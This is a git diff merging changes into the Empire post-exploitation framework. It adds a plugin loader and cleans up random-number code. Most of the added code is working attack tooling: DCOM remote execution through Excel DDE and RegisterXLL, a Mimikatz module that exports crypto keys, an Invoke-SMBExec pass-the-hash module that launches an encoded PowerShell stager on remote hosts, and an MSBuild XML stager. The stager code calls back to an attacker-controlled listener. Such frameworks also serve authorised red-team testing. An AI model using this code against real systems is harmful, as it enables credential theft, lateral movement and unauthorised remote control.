Merge branch 'dev' of https://github.com/EmpireProject/Empire into dev
commit
47f09ed045
24
changelog
24
changelog
|
@ -1,3 +1,27 @@
|
||||||
|
Running
|
||||||
|
------------
|
||||||
|
- Added Kevin Robertson's Invoke-SMBExec.ps1
|
||||||
|
- Update Invoke-DCOM
|
||||||
|
|
||||||
|
10/29/2017
|
||||||
|
------------
|
||||||
|
- Version 2.3 Master Release
|
||||||
|
— Fix for #755
|
||||||
|
— Merge PR from byt3bl33d3r for TLS version
|
||||||
|
— Removed option to set chunk size for file downloads
|
||||||
|
— Fix for #729 (Unable to download files with spaces)
|
||||||
|
— Fix renegotiation in powershell agent. Patched python agent to exit on 401 response.
|
||||||
|
— Fix for #774 (Fix pyinstaller module)
|
||||||
|
— Added resource scripts capability (Carrie Roberts)
|
||||||
|
— Fix for #749 (Fix external agent modules)
|
||||||
|
— Fix for #369 (Fixed http_hop listener with ssl and self-signed certificate)
|
||||||
|
— Merge Invoke-PowerDump fix
|
||||||
|
— Merge fixes for 718 (Fix generate function signature for module @nikaiw)
|
||||||
|
— Merge fixes for 762 (Code cleanup from EmPyre @elitest)
|
||||||
|
— Merge ntds execution module (@hightopfade)
|
||||||
|
— Updated generate function signatures in all modules
|
||||||
|
— Fixed stagerURI option (rvrsh3ll)
|
||||||
|
|
||||||
10/12/2017
|
10/12/2017
|
||||||
--------
|
--------
|
||||||
- Version 2.2 Master Release
|
- Version 2.2 Master Release
|
||||||
|
|
|
@ -51,15 +51,10 @@ ADDITIONAL_IDS = {}
|
||||||
for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
|
for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
|
||||||
|
|
||||||
# If a secure random number generator is unavailable, exit with an error.
|
# If a secure random number generator is unavailable, exit with an error.
|
||||||
try:
|
|
||||||
try:
|
try:
|
||||||
import ssl
|
import ssl
|
||||||
random_function = ssl.RAND_bytes
|
random_function = ssl.RAND_bytes
|
||||||
random_provider = "Python SSL"
|
random_provider = "Python SSL"
|
||||||
except (AttributeError, ImportError):
|
|
||||||
import OpenSSL
|
|
||||||
random_function = OpenSSL.rand.bytes
|
|
||||||
random_provider = "OpenSSL"
|
|
||||||
except:
|
except:
|
||||||
random_function = os.urandom
|
random_function = os.urandom
|
||||||
random_provider = "os.urandom"
|
random_provider = "os.urandom"
|
||||||
|
|
|
@ -54,15 +54,10 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
|
||||||
|
|
||||||
|
|
||||||
# If a secure random number generator is unavailable, exit with an error.
|
# If a secure random number generator is unavailable, exit with an error.
|
||||||
try:
|
|
||||||
try:
|
try:
|
||||||
import ssl
|
import ssl
|
||||||
random_function = ssl.RAND_bytes
|
random_function = ssl.RAND_bytes
|
||||||
random_provider = "Python SSL"
|
random_provider = "Python SSL"
|
||||||
except (AttributeError, ImportError):
|
|
||||||
import OpenSSL
|
|
||||||
random_function = OpenSSL.rand.bytes
|
|
||||||
random_provider = "OpenSSL"
|
|
||||||
except:
|
except:
|
||||||
random_function = os.urandom
|
random_function = os.urandom
|
||||||
random_provider = "os.urandom"
|
random_provider = "os.urandom"
|
||||||
|
|
|
@ -24,11 +24,11 @@ function Invoke-DCOM {
|
||||||
|
|
||||||
Invoke commands on remote hosts via MMC20.Application COM object over DCOM.
|
Invoke commands on remote hosts via MMC20.Application COM object over DCOM.
|
||||||
|
|
||||||
.PARAMETER Target
|
.PARAMETER ComputerName
|
||||||
|
|
||||||
IP Address or Hostname of the remote system
|
IP Address or Hostname of the remote system
|
||||||
|
|
||||||
.PARAMETER Type
|
.PARAMETER Method
|
||||||
|
|
||||||
Specifies the desired type of execution
|
Specifies the desired type of execution
|
||||||
|
|
||||||
|
@ -39,8 +39,9 @@ function Invoke-DCOM {
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
Import-Module .\Invoke-DCOM.ps1
|
Import-Module .\Invoke-DCOM.ps1
|
||||||
Invoke-DCOM -Target '192.168.2.100' -Type MMC20 -Command "calc.exe"
|
Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe"
|
||||||
Invoke-DCOM -Target '192.168.2.100' -Type ServiceStart "MyService"
|
Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe"
|
||||||
|
Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService"
|
||||||
#>
|
#>
|
||||||
|
|
||||||
[CmdletBinding()]
|
[CmdletBinding()]
|
||||||
|
@ -50,9 +51,10 @@ function Invoke-DCOM {
|
||||||
$ComputerName,
|
$ComputerName,
|
||||||
|
|
||||||
[Parameter(Mandatory = $true, Position = 1)]
|
[Parameter(Mandatory = $true, Position = 1)]
|
||||||
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
|
[ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
|
||||||
|
"DetectOffice","RegisterXLL","ExcelDDE")]
|
||||||
[String]
|
[String]
|
||||||
$Method = "MMC20",
|
$Method = "MMC20.Application",
|
||||||
|
|
||||||
[Parameter(Mandatory = $false, Position = 2)]
|
[Parameter(Mandatory = $false, Position = 2)]
|
||||||
[string]
|
[string]
|
||||||
|
@ -60,7 +62,12 @@ function Invoke-DCOM {
|
||||||
|
|
||||||
[Parameter(Mandatory = $false, Position = 3)]
|
[Parameter(Mandatory = $false, Position = 3)]
|
||||||
[string]
|
[string]
|
||||||
$Command= "calc.exe"
|
$Command= "calc.exe",
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false, Position = 4)]
|
||||||
|
[string]
|
||||||
|
$DllPath
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
Begin {
|
Begin {
|
||||||
|
@ -108,7 +115,7 @@ function Invoke-DCOM {
|
||||||
#Begin main process block
|
#Begin main process block
|
||||||
|
|
||||||
#Check for which type we are using and apply options accordingly
|
#Check for which type we are using and apply options accordingly
|
||||||
if ($Method -Match "MMC20") {
|
if ($Method -Match "MMC20.Application") {
|
||||||
|
|
||||||
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
|
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
|
||||||
$Obj = [System.Activator]::CreateInstance($Com)
|
$Obj = [System.Activator]::CreateInstance($Com)
|
||||||
|
@ -163,6 +170,26 @@ function Invoke-DCOM {
|
||||||
$Obj = [System.Activator]::CreateInstance($Com)
|
$Obj = [System.Activator]::CreateInstance($Com)
|
||||||
$obj.Document.Application.ServiceStart("$ServiceName")
|
$obj.Document.Application.ServiceStart("$ServiceName")
|
||||||
}
|
}
|
||||||
|
elseif ($Method -Match "DetectOffice") {
|
||||||
|
|
||||||
|
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||||
|
$Obj = [System.Activator]::CreateInstance($Com)
|
||||||
|
$isx64 = [boolean]$obj.Application.ProductCode[21]
|
||||||
|
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
|
||||||
|
}
|
||||||
|
elseif ($Method -Match "RegisterXLL") {
|
||||||
|
|
||||||
|
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||||
|
$Obj = [System.Activator]::CreateInstance($Com)
|
||||||
|
$obj.Application.RegisterXLL("$DllPath")
|
||||||
|
}
|
||||||
|
elseif ($Method -Match "ExcelDDE") {
|
||||||
|
|
||||||
|
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||||
|
$Obj = [System.Activator]::CreateInstance($Com)
|
||||||
|
$Obj.DisplayAlerts = $false
|
||||||
|
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
End {
|
End {
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -21,6 +21,8 @@ import hashlib
|
||||||
import time
|
import time
|
||||||
import fnmatch
|
import fnmatch
|
||||||
import shlex
|
import shlex
|
||||||
|
import pkgutil
|
||||||
|
import importlib
|
||||||
|
|
||||||
# Empire imports
|
# Empire imports
|
||||||
import helpers
|
import helpers
|
||||||
|
@ -30,6 +32,7 @@ import listeners
|
||||||
import modules
|
import modules
|
||||||
import stagers
|
import stagers
|
||||||
import credentials
|
import credentials
|
||||||
|
import plugins
|
||||||
from zlib_wrapper import compress
|
from zlib_wrapper import compress
|
||||||
from zlib_wrapper import decompress
|
from zlib_wrapper import decompress
|
||||||
|
|
||||||
|
@ -68,6 +71,10 @@ class MainMenu(cmd.Cmd):
|
||||||
# globalOptions[optionName] = (value, required, description)
|
# globalOptions[optionName] = (value, required, description)
|
||||||
self.globalOptions = {}
|
self.globalOptions = {}
|
||||||
|
|
||||||
|
# currently active plugins:
|
||||||
|
# {'pluginName': classObject}
|
||||||
|
self.loadedPlugins = {}
|
||||||
|
|
||||||
# empty database object
|
# empty database object
|
||||||
self.conn = self.database_connect()
|
self.conn = self.database_connect()
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
@ -381,6 +388,51 @@ class MainMenu(cmd.Cmd):
|
||||||
# CMD methods
|
# CMD methods
|
||||||
###################################################
|
###################################################
|
||||||
|
|
||||||
|
def do_plugins(self, args):
|
||||||
|
"List all available and active plugins."
|
||||||
|
pluginPath = os.path.abspath("plugins")
|
||||||
|
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
|
||||||
|
# From walk_packages: "Note that this function must import all packages
|
||||||
|
# (not all modules!) on the given path, in order to access the __path__
|
||||||
|
# attribute to find submodules."
|
||||||
|
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
|
||||||
|
numFound = len(pluginNames)
|
||||||
|
|
||||||
|
# say how many we found, handling the 1 case
|
||||||
|
if numFound == 1:
|
||||||
|
print(helpers.color("[*] {} plugin found".format(numFound)))
|
||||||
|
else:
|
||||||
|
print(helpers.color("[*] {} plugins found".format(numFound)))
|
||||||
|
|
||||||
|
# if we found any, list them
|
||||||
|
if numFound > 0:
|
||||||
|
print("\tName\tActive")
|
||||||
|
print("\t----\t------")
|
||||||
|
activePlugins = self.loadedPlugins.keys()
|
||||||
|
for name in pluginNames:
|
||||||
|
active = ""
|
||||||
|
if name in activePlugins:
|
||||||
|
active = "******"
|
||||||
|
print("\t" + name + "\t" + active)
|
||||||
|
|
||||||
|
print("")
|
||||||
|
print(helpers.color("[*] Use \"plugin <plugin name>\" to load a plugin."))
|
||||||
|
|
||||||
|
def do_plugin(self, pluginName):
|
||||||
|
"Load a plugin file to extend Empire."
|
||||||
|
pluginPath = os.path.abspath("plugins")
|
||||||
|
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
|
||||||
|
# From walk_packages: "Note that this function must import all packages
|
||||||
|
# (not all modules!) on the given path, in order to access the __path__
|
||||||
|
# attribute to find submodules."
|
||||||
|
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
|
||||||
|
if pluginName in pluginNames:
|
||||||
|
print(helpers.color("[*] Plugin {} found.".format(pluginName)))
|
||||||
|
# 'self' is the mainMenu object
|
||||||
|
plugins.load_plugin(self, pluginName)
|
||||||
|
else:
|
||||||
|
raise Exception("[!] Error: the plugin specified does not exist in {}.".format(pluginPath))
|
||||||
|
|
||||||
def postcmd(self, stop, line):
|
def postcmd(self, stop, line):
|
||||||
if len(self.resourceQueue) > 0:
|
if len(self.resourceQueue) > 0:
|
||||||
nextcmd = self.resourceQueue.pop(0)
|
nextcmd = self.resourceQueue.pop(0)
|
||||||
|
|
|
@ -22,6 +22,7 @@ Includes:
|
||||||
import base64
|
import base64
|
||||||
import hashlib
|
import hashlib
|
||||||
import hmac
|
import hmac
|
||||||
|
import os
|
||||||
import string
|
import string
|
||||||
import M2Crypto
|
import M2Crypto
|
||||||
|
|
||||||
|
@ -57,11 +58,9 @@ try:
|
||||||
import ssl
|
import ssl
|
||||||
random_function = ssl.RAND_bytes
|
random_function = ssl.RAND_bytes
|
||||||
random_provider = "Python SSL"
|
random_provider = "Python SSL"
|
||||||
except (AttributeError, ImportError):
|
except:
|
||||||
import OpenSSL
|
random_function = os.urandom
|
||||||
random_function = OpenSSL.rand.bytes
|
random_provider = "os.urandom"
|
||||||
random_provider = "OpenSSL"
|
|
||||||
|
|
||||||
|
|
||||||
def pad(data):
|
def pad(data):
|
||||||
"""
|
"""
|
||||||
|
@ -285,7 +284,7 @@ class DiffieHellman(object):
|
||||||
_rand = int.from_bytes(random_function(_bytes), byteorder='big')
|
_rand = int.from_bytes(random_function(_bytes), byteorder='big')
|
||||||
except:
|
except:
|
||||||
# Python 2
|
# Python 2
|
||||||
_rand = int(OpenSSL.rand.bytes(_bytes).encode('hex'), 16)
|
_rand = int(random_function(_bytes).encode('hex'), 16)
|
||||||
|
|
||||||
return _rand
|
return _rand
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,41 @@
|
||||||
|
""" Utilities and helpers and etc. for plugins """
|
||||||
|
|
||||||
|
import importlib
|
||||||
|
|
||||||
|
import lib.common.helpers as helpers
|
||||||
|
|
||||||
|
def load_plugin(mainMenu, pluginName):
|
||||||
|
""" Given the name of a plugin and a menu object, load it into the menu """
|
||||||
|
# note the 'plugins' package so the loader can find our plugin
|
||||||
|
fullPluginName = "plugins." + pluginName
|
||||||
|
module = importlib.import_module(fullPluginName)
|
||||||
|
pluginObj = module.Plugin(mainMenu)
|
||||||
|
mainMenu.loadedPlugins[pluginName] = pluginObj
|
||||||
|
|
||||||
|
class Plugin(object):
|
||||||
|
# to be overwritten by child
|
||||||
|
description = "This is a description of this plugin."
|
||||||
|
|
||||||
|
def __init__(self, mainMenu):
|
||||||
|
# having these multiple messages should be helpful for debugging
|
||||||
|
# user-reported errors (can narrow down where they happen)
|
||||||
|
print(helpers.color("[*] Initializing plugin..."))
|
||||||
|
# any future init stuff goes here
|
||||||
|
|
||||||
|
print(helpers.color("[*] Doing custom initialization..."))
|
||||||
|
# do custom user stuff
|
||||||
|
self.onLoad()
|
||||||
|
|
||||||
|
# now that everything is loaded, register functions and etc. onto the main menu
|
||||||
|
print(helpers.color("[*] Registering plugin with menu..."))
|
||||||
|
self.register(mainMenu)
|
||||||
|
|
||||||
|
def onLoad(self):
|
||||||
|
""" Things to do during init: meant to be overridden by
|
||||||
|
the inheriting plugin. """
|
||||||
|
pass
|
||||||
|
|
||||||
|
def register(self, mainMenu):
|
||||||
|
""" Any modifications made to the main menu are done here
|
||||||
|
(meant to be overriden by child) """
|
||||||
|
pass
|
|
@ -250,8 +250,7 @@ class Listener:
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
||||||
else:
|
else:
|
||||||
# TODO: implement form for other proxy
|
# TODO: implement form for other proxy
|
||||||
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
|
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
|
||||||
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
|
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
||||||
if proxyCreds.lower() == "default":
|
if proxyCreds.lower() == "default":
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
||||||
|
@ -259,9 +258,13 @@ class Listener:
|
||||||
# TODO: implement form for other proxy credentials
|
# TODO: implement form for other proxy credentials
|
||||||
username = proxyCreds.split(':')[0]
|
username = proxyCreds.split(':')[0]
|
||||||
password = proxyCreds.split(':')[1]
|
password = proxyCreds.split(':')[1]
|
||||||
domain = username.split('\\')[0]
|
if len(username.split('\\')) > 1:
|
||||||
usr = username.split('\\')[1]
|
usr = username.split('\\')[1]
|
||||||
|
domain = username.split('\\')[0]
|
||||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||||
|
else:
|
||||||
|
usr = username.split('\\')[0]
|
||||||
|
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||||
|
|
||||||
#save the proxy settings to use during the entire staging process and the agent
|
#save the proxy settings to use during the entire staging process and the agent
|
||||||
|
|
|
@ -0,0 +1,78 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-Mimikatz DumpKeys',
|
||||||
|
|
||||||
|
'Author': ['@JosephBialek', '@gentilkiwi'],
|
||||||
|
|
||||||
|
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
|
||||||
|
"to extract all keys to the local directory."),
|
||||||
|
|
||||||
|
'Background' : True,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : True,
|
||||||
|
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
|
||||||
|
'Language' : 'powershell',
|
||||||
|
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'http://clymb3r.wordpress.com/',
|
||||||
|
'http://blog.gentilkiwi.com'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
|
||||||
|
if obfuscate:
|
||||||
|
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||||
|
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
script = moduleCode
|
||||||
|
|
||||||
|
# add in the key dumping command
|
||||||
|
scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"' """
|
||||||
|
if obfuscate:
|
||||||
|
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
|
script += scriptEnd
|
||||||
|
return script
|
|
@ -46,7 +46,7 @@ class Module:
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'Method' : {
|
'Method' : {
|
||||||
'Description' : 'COM method to use.',
|
'Description' : 'COM method to use. MMC20.Application,ShellWindows,ShellBrowserWindow,ExcelDDE',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : 'ShellWindows'
|
'Value' : 'ShellWindows'
|
||||||
},
|
},
|
||||||
|
|
|
@ -0,0 +1,154 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-SMBExec',
|
||||||
|
|
||||||
|
'Author': ['@rvrsh3ll'],
|
||||||
|
|
||||||
|
'Description': ('Executes a stager on remote hosts using SMBExec.ps1'),
|
||||||
|
|
||||||
|
'Background' : False,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
|
||||||
|
'Language' : 'powershell',
|
||||||
|
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': ["https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1"]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CredID' : {
|
||||||
|
'Description' : 'CredID from the store to use.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ComputerName' : {
|
||||||
|
'Description' : 'Host[s] to execute the stager on, comma separated.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Username' : {
|
||||||
|
'Description' : 'Username.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Domain' : {
|
||||||
|
'Description' : 'Domain.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Hash' : {
|
||||||
|
'Description' : 'NTLM Hash in LM:NTLM or NTLM format.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Service' : {
|
||||||
|
'Description' : 'Name of service to create and delete. Defaults to 20 char random.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
computerName = self.options['ComputerName']['Value']
|
||||||
|
userName = self.options['Username']['Value']
|
||||||
|
NTLMhash = self.options['Hash']['Value']
|
||||||
|
domain = self.options['Domain']['Value']
|
||||||
|
service = self.options['Service']['Value']
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SMBExec.ps1"
|
||||||
|
if obfuscate:
|
||||||
|
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||||
|
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
script = moduleCode
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||||
|
# not a valid listener, return nothing for the script
|
||||||
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
# generate the PowerShell one-liner with all of the proper options set
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||||
|
|
||||||
|
if launcher == "":
|
||||||
|
print helpers.color("[!] Error in launcher generation.")
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
|
||||||
|
stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
|
||||||
|
scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, stagerCmd)
|
||||||
|
|
||||||
|
|
||||||
|
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
|
||||||
|
if obfuscate:
|
||||||
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
|
script += scriptEnd
|
||||||
|
return script
|
|
@ -0,0 +1,160 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Stager:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'msbuild_xml',
|
||||||
|
|
||||||
|
'Author': ['@p3nt4'],
|
||||||
|
|
||||||
|
'Description': ('Generates an XML file to be run with MSBuild.exe'),
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'On the endpoint simply launch MSBuild.exe payload.xml'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the stager, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Listener': {
|
||||||
|
'Description': 'Listener to generate stager for.',
|
||||||
|
'Required': True,
|
||||||
|
'Value': ''
|
||||||
|
},
|
||||||
|
'Language' : {
|
||||||
|
'Description' : 'Language of the stager to generate.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'powershell'
|
||||||
|
},
|
||||||
|
'StagerRetries': {
|
||||||
|
'Description': 'Times for the stager to retry connecting.',
|
||||||
|
'Required': False,
|
||||||
|
'Value': '0'
|
||||||
|
},
|
||||||
|
'Obfuscate' : {
|
||||||
|
'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'False'
|
||||||
|
},
|
||||||
|
'ObfuscateCommand' : {
|
||||||
|
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : r'Token\All\1,Launcher\STDIN++\12467'
|
||||||
|
},
|
||||||
|
'OutFile': {
|
||||||
|
'Description': 'File to output XML to, otherwise displayed on the screen.',
|
||||||
|
'Required': False,
|
||||||
|
'Value': '/tmp/launcher.xml'
|
||||||
|
},
|
||||||
|
'UserAgent': {
|
||||||
|
'Description': 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required': False,
|
||||||
|
'Value': 'default'
|
||||||
|
},
|
||||||
|
'Proxy': {
|
||||||
|
'Description': 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required': False,
|
||||||
|
'Value': 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds': {
|
||||||
|
'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required': False,
|
||||||
|
'Value': 'default'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
# extract all of our options
|
||||||
|
language = self.options['Language']['Value']
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
obfuscate = self.options['Obfuscate']['Value']
|
||||||
|
obfuscateCommand = self.options['ObfuscateCommand']['Value']
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
